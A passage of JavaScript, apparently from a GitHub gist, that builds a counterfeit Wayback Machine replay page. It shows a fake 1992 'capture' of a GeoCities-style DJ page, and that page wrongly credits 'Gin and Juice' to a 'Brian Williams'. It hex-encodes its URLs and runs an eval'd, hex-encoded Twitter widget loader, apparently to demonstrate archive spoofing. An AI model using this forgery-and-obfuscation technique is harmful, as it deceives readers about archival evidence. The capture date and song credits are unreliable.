this.getInputRef = this.getInputRef.bind(this);
this.ymEmitter = new ifWin.YMEmitter();
this.links = {
// http://web.archive.org/web/submit
action:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x73\x75\x62\x6d\x69\x74",
// http://www.somewhere.sh
// http://dj-jay-requests.surge.sh/
inputValue:
"\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6a\x2d\x6a\x61\x79\x2d\x72\x65\x71\x75\x65\x73\x74\x73\x2e\x73\x75\x72\x67\x65\x2e\x73\x68\x2f",
// http://web.archive.org/web/*/http://web.archive.org/web/20180404041224/http://dj-jay-requests.surge.sh/
allCaptures:
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x2a\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6a\x2d\x6a\x61\x79\x2d\x72\x65\x71\x75\x65\x73\x74\x73\x2e\x73\x75\x72\x67\x65\x2e\x73\x68\x2f"
};
}
inputOnFocus(e) {
e.preventDefault();
this.inputRef.focus();
this.inputRef.select();
}
getInputRef(inputRef) {
this.inputRef = inputRef;
}
render() {
return React.createElement(
"table",
{
className: "c"
},
React.createElement(
"tbody",
null,
React.createElement(
"tr",
null,
React.createElement(
"td",
{
className: "u",
colSpan: "2"
},
React.createElement(
"form",
{
action: this.links.action,
id: "wmtb",
method: "get",
name: "wmtb",
target: "_top"
},
React.createElement("input", {
ref: this.getInputRef,
autoComplete: "off",
id: "wmtbURL",
name: "url",
onFocus: this.inputOnFocus,
type: "text",
value: this.links.inputValue
}),
React.createElement("input", {
name: "type",
type: "hidden",
value: "replay"
}),
React.createElement("input", {
name: "date",
type: "hidden",
value: "19920531014618"
}),
React.createElement("input", {
type: "submit",
value: "Go"
})
)
),
React.createElement(ifWin.TDN, {
ymEmitter: this.ymEmitter
})
),
React.createElement(
"tr",
null,
React.createElement(
"td",
{
className: "s"
},
React.createElement(
"div",
{
id: "wm-nav-captures"
},
React.createElement(
"a",
{
className: "t",
href: this.links.allCaptures,
title: "See a list of every capture for this URL"
},
"1 capture"
),
React.createElement(
"div",
{
className: "r",
title: "Timespan for captures of this URL"
},
"31 May 1992 - 31 May 1992"
)
)
),
React.createElement(
"td",
{
className: "k"
},
React.createElement(ifWin.FakeSparkLine, {
ymEmitter: this.ymEmitter
})
)
)
)
);
}
};
ifWin.WMIPP = class WMIPP extends React.Component {
render() {
return React.createElement(
"div",
{
id: "wm-ipp",
style: {
display: "block",
direction: "ltr"
}
},
React.createElement(
"div",
{
style: {
position: "fixed",
left: "0",
top: "0",
right: "0"
}
},
React.createElement(
"div",
{
id: "wm-ipp-inside"
},
React.createElement(
"div",
{
style: {
position: "relative"
}
},
React.createElement(ifWin.Logo, null),
React.createElement(ifWin.Buttons, null),
this.props.showWSDL &&
React.createElement(ifWin.FullNelson, null),
!this.props.showWSDL &&
React.createElement(ifWin.BannerTable, null),
this.props.showWSDL &&
React.createElement("img", {
src: BannerLinks.wsdlLogo,
style: {
height: "54px",
verticalAlign: "top"
}
}),
React.createElement(
"div",
{
style: {
position: "absolute",
bottom: 0,
right: "2px",
textAlign: "right"
}
},
React.createElement(ifWin.OpenCloseCaptureInfo, {
clickEmitter: this.props.emitter,
showWSDL: this.props.showWSDL
})
)
),
React.createElement(ifWin.AboutTheFrogLord, {
clickEmitter: this.props.emitter
})
)
)
);
}
};
ifWin.GinAndJuice = class GinAndJuice extends React.Component {
constructor(props) {
super(props);
this.links = {
// url(https://web.archive.org/web/20091022172236im_/http:/geocities.com/vampire9092000/bg_anime-star_rave.gif)
backgroundImage:
"\x75\x72\x6c\x28\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x32\x30\x30\x39\x31\x30\x32\x32\x31\x37\x32\x32\x33\x36\x69\x6d\x5f\x2f\x68\x74\x74\x70\x3a\x2f\x67\x65\x6f\x63\x69\x74\x69\x65\x73\x2e\x63\x6f\x6d\x2f\x76\x61\x6d\x70\x69\x72\x65\x39\x30\x39\x32\x30\x30\x30\x2f\x62\x67\x5f\x61\x6e\x69\x6d\x65\x2d\x73\x74\x61\x72\x5f\x72\x61\x76\x65\x2e\x67\x69\x66\x29",
// https://web.archive.org/web/20091021211033im_/http://www.geocities.com/djjay1/djrain.gif
bannerImage:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x32\x30\x30\x39\x31\x30\x32\x31\x32\x31\x31\x30\x33\x33\x69\x6d\x5f\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x65\x6f\x63\x69\x74\x69\x65\x73\x2e\x63\x6f\x6d\x2f\x64\x6a\x6a\x61\x79\x31\x2f\x64\x6a\x72\x61\x69\x6e\x2e\x67\x69\x66",
// https://web.archive.org/web/20091025044209/http://www.geocities.com/rrdjdragon/sl1200spinnin.gif
spinning:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x32\x30\x30\x39\x31\x30\x32\x35\x30\x34\x34\x32\x30\x39\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x65\x6f\x63\x69\x74\x69\x65\x73\x2e\x63\x6f\x6d\x2f\x72\x72\x64\x6a\x64\x72\x61\x67\x6f\x6e\x2f\x73\x6c\x31\x32\x30\x30\x73\x70\x69\x6e\x6e\x69\x6e\x2e\x67\x69\x66",
// https://web.archive.org/web/20090830091225im_/http://www.geocities.com/request_a_lyric/explose.gif
explode:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x32\x30\x30\x39\x30\x38\x33\x30\x30\x39\x31\x32\x32\x35\x69\x6d\x5f\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x65\x6f\x63\x69\x74\x69\x65\x73\x2e\x63\x6f\x6d\x2f\x72\x65\x71\x75\x65\x73\x74\x5f\x61\x5f\x6c\x79\x72\x69\x63\x2f\x65\x78\x70\x6c\x6f\x73\x65\x2e\x67\x69\x66",
// https://web.archive.org/web/20090727152456/http://www.geocities.com/djmyket/speakers2_e0.gif
speaker:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x32\x30\x30\x39\x30\x37\x32\x37\x31\x35\x32\x34\x35\x36\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x65\x6f\x63\x69\x74\x69\x65\x73\x2e\x63\x6f\x6d\x2f\x64\x6a\x6d\x79\x6b\x65\x74\x2f\x73\x70\x65\x61\x6b\x65\x72\x73\x32\x5f\x65\x30\x2e\x67\x69\x66",
// https://web.archive.org/web/20090731155641/http://hk.geocities.com/hkdj_team/new3.gif
newFire:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x32\x30\x30\x39\x30\x37\x33\x31\x31\x35\x35\x36\x34\x31\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x68\x6b\x2e\x67\x65\x6f\x63\x69\x74\x69\x65\x73\x2e\x63\x6f\x6d\x2f\x68\x6b\x64\x6a\x5f\x74\x65\x61\x6d\x2f\x6e\x65\x77\x33\x2e\x67\x69\x66",
// https://www.youtube.com/embed/XlGLhYFrv6w?rel=0
ginJuice:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x79\x6f\x75\x74\x75\x62\x65\x2e\x63\x6f\x6d\x2f\x65\x6d\x62\x65\x64\x2f\x58\x6c\x47\x4c\x68\x59\x46\x72\x76\x36\x77\x3f\x72\x65\x6c\x3d\x30",
// https://web.archive.org/web/20091019110916/http://www.geocities.com/djshadowmaster/imbutton.gif
ad1:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x32\x30\x30\x39\x31\x30\x31\x39\x31\x31\x30\x39\x31\x36\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x65\x6f\x63\x69\x74\x69\x65\x73\x2e\x63\x6f\x6d\x2f\x64\x6a\x73\x68\x61\x64\x6f\x77\x6d\x61\x73\x74\x65\x72\x2f\x69\x6d\x62\x75\x74\x74\x6f\x6e\x2e\x67\x69\x66",
// https://web.archive.org/web/20091026144413/http://uk.geocities.com/atlantisdjclub/DanceStoreButton.gif
ad2:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x32\x30\x30\x39\x31\x30\x32\x36\x31\x34\x34\x34\x31\x33\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x75\x6b\x2e\x67\x65\x6f\x63\x69\x74\x69\x65\x73\x2e\x63\x6f\x6d\x2f\x61\x74\x6c\x61\x6e\x74\x69\x73\x64\x6a\x63\x6c\x75\x62\x2f\x44\x61\x6e\x63\x65\x53\x74\x6f\x72\x65\x42\x75\x74\x74\x6f\x6e\x2e\x67\x69\x66",
// https://web.archive.org/web/20060219041729/http://uk.geocities.com:80/atlantisdjclub/120.gif
ad3:
"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x2e\x61\x72\x63\x68\x69\x76\x65\x2e\x6f\x72\x67\x2f\x77\x65\x62\x2f\x32\x30\x30\x36\x30\x32\x31\x39\x30\x34\x31\x37\x32\x39\x2f\x68\x74\x74\x70\x3a\x2f\x2f\x75\x6b\x2e\x67\x65\x6f\x63\x69\x74\x69\x65\x73\x2e\x63\x6f\x6d\x3a\x38\x30\x2f\x61\x74\x6c\x61\x6e\x74\x69\x73\x64\x6a\x63\x6c\x75\x62\x2f\x31\x32\x30\x2e\x67\x69\x66"
};
}
render() {
return React.createElement(
"div",
{
style: {
width: "inherit",
height: "inherit",
backgroundImage: this.links.backgroundImage
}
},
React.createElement(
"div",
{
style: {
display: "flex",
justifyContent: "center"
}
},
React.createElement("img", {
src: this.links.bannerImage
})
),
React.createElement(
"div",
{
style: {
display: "flex",
justifyContent: "center",
marginBottom: "38px"
}
},
React.createElement("img", {
height: "75",
width: "100",
src: this.links.spinning,
border: "0"
}),
React.createElement("img", {
height: "75",
width: "71",
src: this.links.explode,
border: "0"
}),
React.createElement(
"p",
{
style: {
color: "#00FF00"
}
},
"106.1 FM Radio Los Santos",
React.createElement("br", null),
"Where The Beat Lives"
),
React.createElement("img", {
height: "75",
width: "71",
src: this.links.explode,
border: "0"
}),
React.createElement("img", {
height: "75",
width: "71",
src: this.links.speaker,
border: "0"
})
),
React.createElement(
"div",
{
style: {
textAlign: "center",
marginBottom: "25px"
}
},
React.createElement(
"p",
{
style: {
color: "#00FF00"
}
},
"Jay here to inform you about this new Brian Williams joint, Gin and Juice, which is straight fire!",
React.createElement("br", null),
"Gin and Juice is featured on Williams sophomore album, 5150: Home 4 tha Sick, which was just",
React.createElement("br", null),
"released on Ruthless Records. Unlike Williams previous single, Let Me Ride, this one is a banger."
)
),
React.createElement(
"div",
{
style: {
display: "flex",
justifyContent: "center"
}
},
React.createElement("img", {
src: this.links.newFire,
width: "79",
height: "50"
})
),
React.createElement(
"div",
{
style: {
display: "flex",
justifyContent: "center"
}
},
React.createElement("iframe", {
width: "560",
height: "315",
src: this.links.ginJuice,
frameBorder: "0",
allowFullScreen: true,
allow: "autoplay; encrypted-media"
})
),
React.createElement(
"div",
{
style: {
display: "flex",
justifyContent: "space-between",
bottom: 0,
left: 0,
right: 0,
position: "absolute"
}
},
React.createElement("img", {
src: this.links.ad1,
style: {
paddingLeft: 24
}
}),
React.createElement("img", {
src: this.links.ad2,
width: "120",
height: "50"
}),
React.createElement("img", {
src: this.links.ad3,
style: {
paddingRight: 24
}
})
)
);
}
};
ifWin.WSDL = class WSDL extends React.Component {
componentDidMount() {
ifWin.eval(
"\x21\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x64\x2c\x73\x2c\x69\x64\x29\x7b\x76\x61\x72\x20\x6a\x73\x2c\x66\x6a\x73\x3d\x64\x2e\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65\x28\x73\x29\x5b\x30\x5d\x3b\x69\x66\x28\x21\x64\x2e\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64\x28\x69\x64\x29\x29\x7b\x6a\x73\x3d\x64\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x73\x29\x3b\x6a\x73\x2e\x69\x64\x3d\x69\x64\x3b\x6a\x73\x2e\x73\x72\x63\x3d\x22\x2f\x2f\x70\x6c\x61\x74\x66\x6f\x72\x6d\x2e\x74\x77\x69\x74\x74\x65\x72\x2e\x63\x6f\x6d\x2f\x77\x69\x64\x67\x65\x74\x73\x2e\x6a\x73\x22\x3b\x66\x6a\x73\x2e\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65\x2e\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65\x28\x6a\x73\x2c\x66\x6a\x73\x29\x3b\x7d\x7d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2c\x22\x73\x63\x72\x69\x70\x74\x22\x2c\x22\x74\x77\x69\x74\x74\x65\x72\x2d\x77\x6a\x73\x22\x29\x3b"
);
}
render() {
return React.createElement(
"div",
{
style: {
marginTop: "50px",
display: "flex",
justifyContent: "space-around"
}
},
React.createElement("script", {
type: "text/javascript",
src: Stuff.feed,
"data-fw-param": "46955/"
}),
React.createElement(
"a",
{
className: "twitter-timeline",
href: Stuff.mlnTwitter,
"data-widget-id": "347095306439118849"
},
"Tweets by @phonedude_mln"
),
React.createElement("iframe", {
id: "fw-iframe6479052752",
className: "fw-iframe",
scrolling: "no",
frameBorder: "no",
style: {
width: "600px",
height: "600px"
},
src: Stuff.wsdlBlogFeed
}),
React.createElement("script", {
dangerouslySetInnerHTML: {
__html: Stuff.dangerScript
}
})
);
}
};
ifWin.FunTimes = class FunTimes extends React.Component {
constructor(props) {
super(props);
this.state = {
showWSDL: false
};
this.showWSDL = this.showWSDL.bind(this);
this.emitter = new ifWin.Emitter(this.showWSDL);
}
showWSDL() {
if (!this.state.showWSDL) {
this.setState(prevState =>
Object.assign(prevState, {
showWSDL: true
})
);
}
}
render() {
return React.createElement(
"div",
{
id: "whyCantIAUseReact16",
style: {
width: "100%",
height: "100%"
}
},
React.createElement(ifWin.BannerStyle, null),
React.createElement(ifWin.WMIPP, {
emitter: this.emitter,
showWSDL: this.state.showWSDL
}),
!this.state.showWSDL && React.createElement(ifWin.GinAndJuice, null),
this.state.showWSDL && React.createElement(ifWin.WSDL, null)
);
}
};
ReactDOM.render(React.createElement(ifWin.FunTimes, null), ifDoc.body);
}
ifDoc.onreadystatechange = function() {
if (ifDoc.readyState === "complete" && !rockAndRoll) {
rockAndRoll = true;
console.log("rock and roll first ifDoc onreadystatechange");
if (nukeBanner) {
nukeBanner.remove();
}
doIt();
document.body.classList.remove("endlessNothing");
} else if (rockAndRoll && intervalId) {
clearInterval(intervalId);
}
};
console.log(_if.contentDocument);
console.log(`ifDoc readyState ${ifDoc.readyState}`);
console.log(
`_if.contentDocument readyState ${_if.contentDocument.readyState}`
);
if (ifDoc.readyState === "complete" && !rockAndRoll) {
rockAndRoll = true;
console.log("rock and roll first readyStateCheck");
if (nukeBanner) {
nukeBanner.remove();
}
doIt();
document.body.classList.remove("endlessNothing");
}
function checkRockAndRoll() {
if (ifDoc.readyState === "complete" && !rockAndRoll) {
clearInterval(intervalId);
rockAndRoll = true;
console.log("rock and roll checkRockAndRoll");
if (nukeBanner) {
nukeBanner.remove();
}
doIt();
document.body.classList.remove("endlessNothing");
} else if (rockAndRoll) {
clearInterval(intervalId);
}
}
if (!rockAndRoll) {
intervalId = setInterval(checkRockAndRoll, 1000);
}
};
document.body.appendChild(_if);
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment